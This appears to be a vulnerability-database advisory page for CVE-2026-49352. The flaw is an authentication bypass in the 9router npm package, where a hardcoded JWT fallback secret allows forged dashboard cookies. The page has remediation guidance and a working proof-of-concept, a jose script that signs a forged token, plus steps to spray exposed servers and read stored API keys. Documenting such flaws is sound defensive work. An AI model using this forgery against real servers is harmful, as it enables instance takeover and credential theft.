9router CVE-2026-49352
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessScan internet for exposed 9router dashboards
-
DeliveryForge HS256 auth_token JWT with public default secret
-
ExploitSet cookie and bypass /dashboard login
-
ExecutionQuery /api/settings/database for stored secrets
-
PersistExfiltrate API keys and auth tokens
-
ImpactModify config or pivot via /api/mcp/ bridge
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Credential externalization
MITRE ATT&CK
2 techniques across 2 tactics: Persistence, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The single concrete prerequisite is that the target 9router server (version 0.2.21 through 0.4.41) runs WITHOUT the JWT_SECRET environment variable set, so dashboard JWTs are signed and verified with the hardcoded fallback "9router-default-secret-change-me"; the attacker crafts an HS256 JWT carrying the claim {authenticated:true} using that public secret and submits it as the auth_token cookie. No authentication, user interaction, or privileges are required against such a server, and the dashboard/API must be network-reachable by the attacker. The sole exploitation-limiting factor is configuration-based: any instance where the operator has set a real JWT_SECRET is not exploitable because the forged signature fails verification. There is no version- or platform-specific limiter beyond the affected range. |
| Impact | This is a genuine high-priority issue rather than an inflated CVSS number. The supplied vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) is credible: exploitation is remote, needs no authentication or user interaction, and the PoC is a few lines of code - trivially automatable and sprayable across internet-exposed instances. A working public exploit materially raises real-world risk above a theoretical flaw. The important qualifier the raw score hides is that exploitation is conditional on the target NOT setting JWT_SECRET; the CVSS assumes the vulnerable default configuration. EPSS and CISA KEV data were not provided in the input, so exploitation probability and active-exploitation status cannot be confirmed here - absence of a KEV entry should not be read as absence of risk given the public PoC. The main factor limiting mass impact is deployment footprint: 9router is a niche project, so realistic exploitation is opportunistic scanning of a modest population of exposed servers rather than a widespread event. |
| Exploit ScenarioDerived | An attacker mass-scans the internet for exposed 9router dashboards and, for each target, sets a pre-forged auth_token cookie signed with the public default secret before requesting /dashboard. Any server that did not set JWT_SECRET accepts the cookie and grants full authenticated access, after which the attacker queries /api/settings/database to exfiltrate stored API keys and auth tokens. A complete PoC using the jose SignJWT API is included in the advisory, so no exploit development is needed. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 02, 2026
Authentication bypass in 9router (>= 0.2.21 through 0.4.41) lets any unauthenticated remote attacker forge a valid dashboard session cookie because the JWT signing key falls back to the publicly committed hardcoded string "9router-default-secret-change-me" whenever the JWT_SECRET environment variable is unset. Since this secret is identical across every release and visible in the public repository, an attacker can pre-compute a valid auth_token, bypass the /dashboard login, and reach every API endpoint to steal stored API keys and auth tokens or take over the instance. Publicly available exploit code exists (the advisory ships a working jose-based PoC); there is no CISA KEV listing and no confirmed active exploitation at time of analysis.
RemediationAI
The immediate fix is to set a strong, unique JWT_SECRET environment variable on every 9router server (for example JWT_SECRET=$(openssl rand -hex 32)) so the hardcoded fallback is never used; this instantly invalidates any forged tokens and requires no code change. The upstream recommended fix requires JWT_SECRET at startup and fails fast rather than falling back silently (or auto-generates and persists a random secret on first boot); the fix is published as advisory GHSA-jphh-m39h-6gwx, but no specific fixed release version is identified in the provided data, so treat setting JWT_SECRET as the primary control and upgrade once the vendor confirms a patched version. After setting the secret, rotate everything 9router held - stored API keys, auth tokens, and the dashboard password - since a prior attacker with a forged token could have read or altered them. As a compensating control until a fix is confirmed, restrict network exposure of the dashboard and /api endpoints (bind to localhost or place behind a VPN/reverse proxy with IP allowlisting) and specifically lock down /api/settings/database and the /api/mcp/ bridge; the trade-off is reduced remote accessibility for legitimate operators.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
9router is a Node.js/Next.js application (distributed as the npm package pkg:npm/9router) whose dashboard session layer uses the jose library to issue HS256-signed JWTs stored in an auth_token cookie, validated by middleware against a symmetric secret. The root cause is CWE-798 (Use of Hard-coded Credentials): the code path new TextEncoder().encode(process.env.JWT_SECRET || "9router-default-secret-change-me") silently substitutes a known public constant when the operator does not provide JWT_SECRET. Because HMAC-based JWT verification only proves the signer knew the secret, and that secret is published in the source tree, the signature check provides zero security. The fallback was introduced in commit 23cfb19 (2026-01-09) in src/app/api/auth/login/route.js and src/middleware.js, then merely relocated (not fixed) by the OIDC refactor commit c3d91b0 into the shared module src/lib/auth/dashboardSession.js.
Know when OpenSSL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Remote unauthenticated token forgery against the vulnerable default (JWT_SECRET unset) needs no privileges or interaction, and full dashboard/API control yields high C/I/A.
Primary rating from Vendor (https://github.com/decolua/9router).
CVSS VectorVendor: https://github.com/decolua/9router
DescriptionCVE.org
Summary
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
Details
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 - v0.4.30 - src/app/api/auth/login/route.js and src/middleware.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);v0.4.31 - v0.4.41 (current) - src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
PoC
Step 1. Craft a JWT signed with the known default secret:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6wStep 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
Attack Scenario:
- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database
Impact
- A successful attack grants attacker full API Key, Auth Token that 9router hold
- They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
- Pivot via the MCP stdio→SSE bridge exposed at
/api/mcp/(exploit CVE-2026-46339)
Recommended Fix
Require JWT_SECRET at startup and fail fast rather than falling back silently:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);Alternatively, auto-generate a random secret on first boot and persist it to the data directory - but never fall back to a publicly known constant.
Articles & Coverage 1
Executive ViewAI
9router versions 0.2.21 through 0.4.41 contain an authentication bypass that allows any remote attacker to forge valid session cookies and gain full dashboard access to steal API keys and authentication tokens. Organizations running affected versions face immediate risk of unauthorized instance takeover and credential compromise without network isolation or environment variable hardening.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Set JWT_SECRET environment variable to a cryptographically random string to prevent fallback to hardcoded default; (2) Restrict network access to dashboard via firewall rules limiting to trusted administrative networks only; (3) Disable 9router entirely if not operationally critical; (4) Monitor audit logs and API activity for signs of unauthorized access; (5) Rotate all API keys and authentication tokens stored in 9router. Note: These controls reduce attack surface but do not eliminate the authentication bypass if an attacker obtains network access to the dashboard endpoint.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Affected Products (CPE)CVE.org
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas
The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
GHSA-jphh-m39h-6gwx
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB